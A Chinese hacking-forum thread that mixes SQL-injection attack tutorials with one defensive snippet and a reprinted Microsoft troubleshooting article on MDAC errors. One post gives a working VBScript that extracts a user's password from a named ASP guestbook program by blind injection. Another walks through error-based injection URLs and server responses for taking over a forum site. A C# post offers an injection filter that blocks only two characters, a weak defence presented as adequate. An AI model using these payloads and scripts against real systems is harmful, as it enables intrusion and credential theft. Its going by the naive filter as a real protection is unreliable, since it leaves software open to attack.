来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
d、同理,可以很快获得密码内容。
这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。 asp?id=980 width=1 height=1>
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

用vbs来写sql注入等80端口的攻击脚本
昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse = Test.SendRequest(strURL)
参数:strURL as string:表示所请求的URL
返回值Response As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:

风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:

...
topicid=request("RootID")
sql="select topic,hits from bbs
where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...

非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。

*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo
注意:需要装Visual Studio.Net里的ACT工具
*********************************************
Option Explicit
On Error Resume Next

Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username

从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If

WScript.Echo "开始探测,请等待... ..."

正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
存放密码
pwd = ""
密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"

建立对象
Set Test = CreateObject("ACT.Test")

得到用户的密码的长度
For i = 0 to 128 step 1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7%20and%20exists%20
(select%20userid%20from%20student%20where%20len
(userpwd)=" & i & "%20and%20userid=" & username & ")")

如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next

猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7%20and%20exists%20
(select%20userid%20from%20student%20where%20left
(userpwd," & j & ")=" & pwd & mid(strings,k,1)
& "%20and%20userid=" & username & ")")

If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next

If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
输出密码
WScript.Echo "密码:" & pwd
End If

Set Test = nothing
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

C# 检查字符串,防SQL注入攻击
这些天,CSDN上讨论SQL注入攻击似乎是如火如荼啊...我也来参合一下..如下,CheckParams函数,接收参数任意,如参数中有字符串,则对字符串进行检查,如参数中有集合(如Array之类,总之是实现了ICollection的),则对集合中的字符串元素进行检查.大家可根据具体情况来定要过滤的字符,我这个例子里暂定为=号和&#39;号,实际上我个人认为,过滤了这两个,似乎要进行SQL注入就已经比较困难了,当然,我对SQL是菜鸟,欢迎高手指正,谢谢.我的邮箱(MSN): Appledotnet@hotmail.com

bool CheckParams(params object[] args)
{ string[] Lawlesses={"=","&#39;"};
if(Lawlesses==null||Lawlesses.Length<=0)return true; //构造正则表达式,
awlesses是=号和&#39;号,则正则表达式为 .*[=}&#39;].* (正则表达式相关内容请见MSDN) 另外,由于我是想做通用而且容易修改的函数,所以多了一步由字符数组到正则表达式,实际使用中,直接写正则表达式亦可;
string str_Regex=".*[";
for(int i=0;i< Lawlesses.Length-1;i++)
str_Regex+=Lawlesses+"|";
str_Regex+=Lawlesses[Lawlesses.Length-1]+"].*";
// foreach(object arg in args)
{ if(arg is string)//如果是字符串,直接检查
{ if(Regex.Matches(arg.ToString(),str_Regex).Count>0)
return false; }
else if(arg is ICollection)//如果是一个集合,则检查集合内元素是否字符串,是字符串,就进行检查 { foreach(object obj in (ICollection)arg)
{ if(obj is string)
{ if(Regex.Matches(obj.ToString(),str_Regex).Count>0)
return false;
}
}
}
}
return true;}
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

关于对SQL注入80004005 及其它错误消息分析
文章中的信息适用于:
Microsoft Data Access Components versions 1.5, 2.0, 2.1, 2.5
Active Server Pages
Microsoft Visual InterDev, version 1.0
----------------------------------------------------------------------------
概要
本文详细讲述了 Microsoft 数据访问组件 (MDAC) 收到 0x800040005 错误的一些常见原因,MDAC 包括 ActiveX 数据对象、OLE DB 和远程数据服务 (RDS)。 同时,本文还讨论了其它一些错误消息,包括 80040e21、80040e14 和80040e10。

更多信息
80004005 错误消息可归纳为:“出于某种原因,我无法访问您的数据”。 本文给出了各种 80004005 错误消息的列表、其中列举了这些错误消息的最常见起因及其疑难解答步骤。 虽然本文假定您是在 Active Server Page (ASP) 页面(.asp) 中使用 ActiveX 数据对象 (ADO),但这些起因和很多疑难解答步骤同样适用于任何其它通过 ODBC 访问数据的环境。

错误消息列表
这一节我们介绍了各种错误消息的文本,以及导致错误的原因。

错误消息
Microsoft OLE DB Provider for ODBC Drivers error
&#39;80004005&#39; [Microsoft][ODBC Microsoft Access 97 Driver]
The Microsoft Jet database engine cannot
open the file &#39;(unknown)&#39;. It is already
opened exclusively by another user, or you
need permission to view its data.

原因
该错误的发生,通常是因为 Internet Information Server (IIS) 所使用的帐户(通常是 IUSR)没有正确的 Windows NT 权限,因而无法访问基于文件的数据库或包含文件的文件夹。请检查这些文件和文件夹的权限设置。 确认您能够创建和/或删除任何临时文件。 临时
文件一般都创建在与数据库相同的文件夹下,但也可以创建在其它文件夹下,如 /Winnt。您可以使用 Windows NT 文件监视器来检查访问文件失败的原因。 Windows NT 文件监视器可从以下 Web 站点上得到:

http://www.sysinternals.com

如果您使用的是该数据库的网络路径(UNC 或映像驱动器),请检查共享、文件及文件夹上的权限。确认文件及数据源名 (DSN) 没有被标记为独占方式。使用一个使用本地驱动器号的系统 DSN。 如有必要,把数据库移至本地驱动器,然后对其进行测试。错误消息中的 other user(其它用户)有可能是 Visual InterDev。 请关闭任何包含该数据库数据连接的 Visual InterDev 工程。

错误也可能是由委派问题引起的。 检查可能存在的任何身份验证方法(“基本”而不是NTLM)。 如果连接字符串使用的是统一命名约定 (UNC),请尝试使用“基本身份验证”或一个绝对路径,如 C:\Mydata\Data.mdb。即使 UNC 指向的资源位于本地 IIS 计算机,前述错误也有可能发生。

当访问链接到某个表的 Microsoft Access 数据库时,如果这一表处在网络服务器上的Access 数据库中,这一错误也有可能发生。 这种情况下,请参见以下 Microsoft Knowledge Base 文章以找到可行的解决方法:

Q189408 PRB: ASP 无法访问 IIS 4.0 下的网络文件
错误消息Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC Microsoft Access 97 Driver]
Couldn&#39;t use &#39;(unknown)&#39;; file already in use.

原因
数据库无法正确地为多个用户锁定。 详细信息请参见以下 Microsoft Knowledge Base文章:

Q174943 PRB: 80004005“Couldn&#39;t Use &#39;(unknown)&#39;;File Already in Use”

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC Driver Manager]
Data source name not found and no default driver specified.

原因
最常见的原因是因为 Global.asa 和 Global.asa 中初始化的连接字符串会话变量没有激发。 您可以通过在 .asp 页面中加入以下代码,来检查该变量有没有正确地初始化:
另一个常见原因是因为所使用的连接字符串中有太多的空格。

DSN = MyDSN; Database = Pubs;

尝试使用下面的语法代替:

DSN=MyDSN;Database=Pubs;

如果 Global.asa 文件没有激发,请检查并确认它是在 IIS 4.0 的应用程序根下,(如果运行的是 IIS 3.0,则应在虚拟根下,并且 Execute 复选框已经选中)。 此外,当 Windows NT 权限限制了对文件夹的访问时,程序设计中的一个错误也可能会妨碍 Global.asa 文件被激发。详细信息请参见 Microsoft Knowledge Base
文章:
Q173742 “BUG: 限制Web 访问时,Global.asa 不被执行”无法找到 DSN 名。
请检查并确认没有使用“用户”类型的 DSN。

如果使用的是文件 DSN 或系统 DSN,则尝试把连接字符串相应地改为 DSN=MySystemDSN 或 DBQ=MyFileDSN。 简化!

检查并确认安装了最新的驱动程序。 如有您不能肯定,请从以下 Web 站点下载最新的MDAC(Microsoft 数据访问组件):
http://www.microsoft.com/data/

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC
Driver Manager] Data source name not ??

原因
这个问题看起来与计算机上软件安装或卸载的顺序有关。 如果 ODBC 内核文件不同步(它们必须为同一版本),就可能出现这种错误。

请从以下 Web 站点下载最新版的 MDAC(Microsoft 数据访问组件),以升级所有的 ODBC 核心驱动程序:
http://www.microsoft.com/data/

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC Access 97 ODBC driver Driver]
General error Unable to open registry key &#39;DriverId&#39;.

原因
这一错误是由从注册表中读取数值时引起的。 请用注册表编辑器 (Regedt32.exe) 检查注册表项上设置的权限。 您也可以用 Windows NT 注册表监视器 (NTRegMon) 来检查注册表读取失败。 NTRegMon 可从
以下 Web 站点下载:
http://www.sysinternals.com

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC SQL Server Driver]
[dbnmpntw] ConnectionOpen (CreateFile()).

原因
这一错误有两种原因。 它们都与权限有关,或者数据库与 Web 服务器不在一台计算机上,或者数据库正通过 UNC 路径(\\Server\Share) 被引用。 即使数据库与 Web 服务器位于同一台计算机上,UNC 路径也使 Web 服务器认为数据库好象位于网络上的另一台计算机上。
如果 .asp 页面正被匿名用户所访问,就会发生以下情况:

IIS 将使用(默认)Windows NT 帐户:
USR_。

因为该帐户是 Web 服务器的本地账户,所以网络上的其它计算机根本无从得知该帐户。当 IIS(在 IUSR 帐户的安全环境下运行)试图访问远程计算机上的任何资源时,远程计算机将验证其使用的帐户。 由于 IUSR 帐户是本地帐户,因此对于远程计算机来说,它是无从得知的,所以访问被拒绝。

当匿名访问引发这个问题时,有两个解决办法:

在“Internet 服务管理器”工具中,从 Web 属性下将匿名登录帐户从默认的本地帐户改为一个基于域的有效帐户。 在用户名字段中,输入要使用的域帐户,格式为 domain\userid。 这样,远程计算机就能用域控制器来验证 IIS 传递给它的安全凭据。

-或者-

在包含您想要访问的资源的远程计算机上复制的帐户
IUSR_。 如果帐户是在远程计算机上创建的,包含完全相同的名称和密码,Windows NT 把它
们视为等价帐户。

-或者-

如果 .asp 页面只允许经身份验证的访问,请参考以下内容:
如果页面不允许匿名访问,IIS 将会试图验证作出请求的用户的身份,并使用其安全凭据控制其所有活动,如访问数据库的活动。 下面对这种情形下失败的两个主要原因做了说明。

默认情况下,IIS 被配置为以 Windows NT Challenge/Response 作为其身份验证方法。

由于 Windows NT 4.0(及更早版本)安全模型的限制,经过 Windows NT Challenge/Response 身份验证的用户也无法访问远程计算机上的资源。 这通常
称为委派问题。 要验证是不是这种情况,可在“Internet 服务管理器”工具中,从 Web 属性下选择基本(明文)复选框,然后清除 Windows NT Challenge/Response。 如果这一步骤解决了问题,很明显这是一个委派问题。

-或者-

如果问题仍旧存在,可能是所使用的用户帐户没有正确的 SQL Windows NT 计算机权限。 不妨尝试使用一个明确拥有该SQL 计算机访问权限的帐户。

有关委派、IIS 如何通过身份验证来保护 Web 站点,以及相关问题的详细信息,请参见文章“IIS Authentication and
Security for Internet Developers”,
它位于以下 Web 站点:
http://www.microsoft.com/workshop/s...re/security.asp

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; Microsoft][ODBC Microsoft SQL Driver]
Logon Failed()

原因
该错误是在 SQL 服务器不接受或不认可所提交的登录帐户及/或密码(使用标准安全性时),或者没有任何 Windows NT帐户映射到 SQL 帐户(使用集成安全性时)时,由 SQL 服务器生成的。

如果使用的是标准安全性,说明 SQL 帐户名和密码不正确。 请尝试使用系统管理员帐户和密码(UID= "SA",密码为空)。 这些必须在连接字符串行中定义, 因为 DSN 不存储用户名和密码。

如果使用的是集成安全性,则检查调用页面的 Windows NT 帐户,找出它所映射的目标帐户。

SQL 不允许 SQL 帐户名中有下划线。 如果某人把 Windows NT 帐户 IUSR_machinename 手动映射到一个同名的 SQL 帐户,就会失败。 请把所有包含下划线的帐户都映射为 SQL 中不包含下划线的帐户名。

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC SQL Server Driver]
[SQL Server] Login failed- User: Reason: Not defined
as a valid user of a trusted
SQL Server connection.

原因
SQL Enterprise Manager(企业管理器)中打开了集成安全性,而所使用的 Windows NT 帐户未被映射到 SQL 帐户。

请尝试把 SQL 改用标准安全性(在 Enterprise Manager 中,选择 Server/SQL Server/Configure/Security Options/Standard。
如果您是在 IIS 4.0 下运行,则取消选择该工程的密码同步。

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBCMicrosoft
Access 97 Driver]Couldn&#39;t lock file.

原因
这一错误可能是由于没有正确的权限为 Microsoft Access 数据库创建锁定文件 (.ldb) 而引起的。 默认情况下,锁定文件与 Microsoft Access .mdb 文件创建在同一文件夹下。

请尝试赋予访问数据库(通常是 IUSR_machinename)的用户以共享/文件夹的完全控制权限。

有时,共享文件夹权限被设置为只读。 您也可以尝试更改连接模式,这时可以使用以下示例代码:

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Mode = adModeShareDenyWrite &#39;8
&#39;From Adovbs.inc
&#39;---- ConnectModeEnum values ----
&#39;Const adModeUnknown = 0
&#39;Const adModeRead = 1
&#39;Const adModeWrite = 2
&#39;Const adModeReadWrite = 3
&#39;Const adModeShareDenyRead = 4
&#39;Const adModeShareDenyWrite = 8
&#39;Const adModeShareExclusive = &Hc
&#39;Const adModeShareDenyNone = &H10

错误消息
Microsoft OLE DB Provider for ODBC
Drivers error &#39;80004005&#39; [Microsoft]
[ODBC Microsoft Access 97 Driver] &#39;(unknown)&#39;
isn&#39;t a valid path. Make sure that the
path name is spel
led correctly and that you are connected
to the server on which the file resides.

原因
Web 服务器所读取的路径是无效路径。 当 Global.asa 文件正被使用,而连接字符串是Web 服务器之外的另一台计算机上创建的时候,最容易发生这种错误。 如果路径是一个映像驱动器号,它可能只对创建连接字符串的客户计算机有效。

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC SQL Server Driver]
[SQL Server] The query and the views in it
exceed the limit of 16 tables.

原因
查询过于复杂。 在查询中有过多的限制。

错误消息
Microsoft OLE DB Provider for ODBC Drivers
error &#39;80004005&#39; [Microsoft][ODBC SQL Server

  DRIVER][DBNMPNTW] CONNECTIONWRITE (GETOVERLAPPEDRESULT()).

原因
“允许匿名用户”环境被关闭时,WINDOWS NT 在第一个请求完成后要关闭与 SQL SERVER 连接的管道。 这是因为,第一个到 SQL SERVER 的连接是在 IIS 匿名用户帐户中建立的。 然后,IIS 或者选择在同一线程上模拟浏览器客户,或者尝试去访问运行于模拟用户环境中的其它线程上的连接。 无论是哪种情况,WINDOWS NT 都会检测有没有谁试图使用某个已在其它用户环境中打开的网络命名管道句柄,并根据安全规则关闭该管道。 在 SQL SE
RVER 网络监视器看来,这是WINDOWS NT 发出的关闭命名管道的请求,从而引起 WEB 浏览器出错。

错误消息
MICROSOFT OLE DB PROVIDER FOR ODBC DRIVERS
ERROR &#39;80004005&#39; [MICROSOFT][ODBCSQL
SERVER DRIVER][DBMSSOCN] GENERAL NETWORK ERROR.
CHECK YOUR NETWORK DOCUMENT

原因
这一错误可能发生在 SQL 服务器被重命名的情况下。 由于无法找到计算机名,引用旧名称的 DSN 将会失败。

错误消息
MICROSOFT OLE DB PROVIDER FOR ODBC
DRIVERS ERROR &#39;80040E21&#39; ERRORS OCCURRED

原因
这一错误可能是由于试图向一个字段插入过多的数据,超过允许值而引起。 比如,一个MICROSOFT ACCESS 字段格式设置为只接受 25 个字符,而试图插入 26 个字符。

错误消息
MICROSOFT OLE DB PROVIDER FOR ODBC DRIVERS
ERROR &#39;80040E14&#39; [MICROSOFT][ODBC MICROSOFT ACCESS 97 DRIVER]
SYNTAX ERROR IN INSERT INTO STATEMENT.

原因
某个列名可能是保留字,如 DATE。 请将列名称改为一个非保留字,如 SALEDATE。

错误消息
MICROSOFT OLE DB PROVIDER FOR ODBC DRIVERS
ERROR &#39;80040E10&#39; [MICROSOFT][ODBC MICROSOFT ACCESS 97 DRIVER]
TOO FEW PARAMETERS. EXPECTED 1.

原因
查询语法中所使用的列名不存在。 往往,这只是个打字错误。 请对照数据库中的列名,检查查询字符串中的列名。 如果使用的是 MICROSOFT ACCESS,要确保使用的是实际列名,而不是列的“显示”名。

参考
如要启用 VISUAL INTERDEV 的远程工作站工作方式,请按照以下 MICROSOFT KNOWLEDGE BASE 文章所述,以建立系统DSN:
Q178215 HOWTO: 配置 VID 以用于身份验证 WEB 工程
Q174943 PRB: 80004005“COULDN&#39;T USE &#39;(UNKNOWN)&#39;;FILE ALREADY IN USE”
Q173742 BUG: 限制 WEB 访问时,GLOBAL.ASA 不被执行
Q172864 ASP 页面无法访问会话及应用程序对象
Q156526 连接 ACCESS 数据源时的一般错误 =51
Q175671 PRB: 访问时的 SQL80004005 CONNECTIONOPEN (CREATEFILE()) 错误
Q149425 IDC: 执行查询错误,没有定义为有效用户
Q167452 PRB: 使用 ACCESS 数据源时的‘NOT A VALID PATH’错误
Q125767 PRB: 执行 SQL 查询后的查询过于复杂错误
Q166659 PRB: 第二次尝试时访问 SQL 数据库失败
Q166029 PRB: 使用 ACCESS 时,无法打开不明文件
Q178215 HOWTO: 配置 VID 以用于身份验证 WEB 工程
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

SQL注入入侵动网SQL版论坛
 现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。

  一、 首先确定目标

  假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6&#39; 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e14&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 &#39;&#39; 之前有未闭合的引号。

  继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 &#39;Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) &#39; 转换为数据类型为 int 的列时发生语法错误。

  看来已经打上最新的SP4补丁。

  取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 &#39;webuser&#39; 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--

  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 &#39;01city&#39; 转换为数据类型为 int 的列时发生语法错误。

  从错误信息中得到当前数据库名为: 01city

  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER(&#39;sysadmin&#39;))--

  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER(&#39;db_owner&#39;))--

  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
欢迎来到校园黑客联盟——请帮助宣传并支持校盟,校盟是一个需要理解的地方,适宜长期居住. 请记住我们的网址 http://www.vip8.org

TOP

发新话题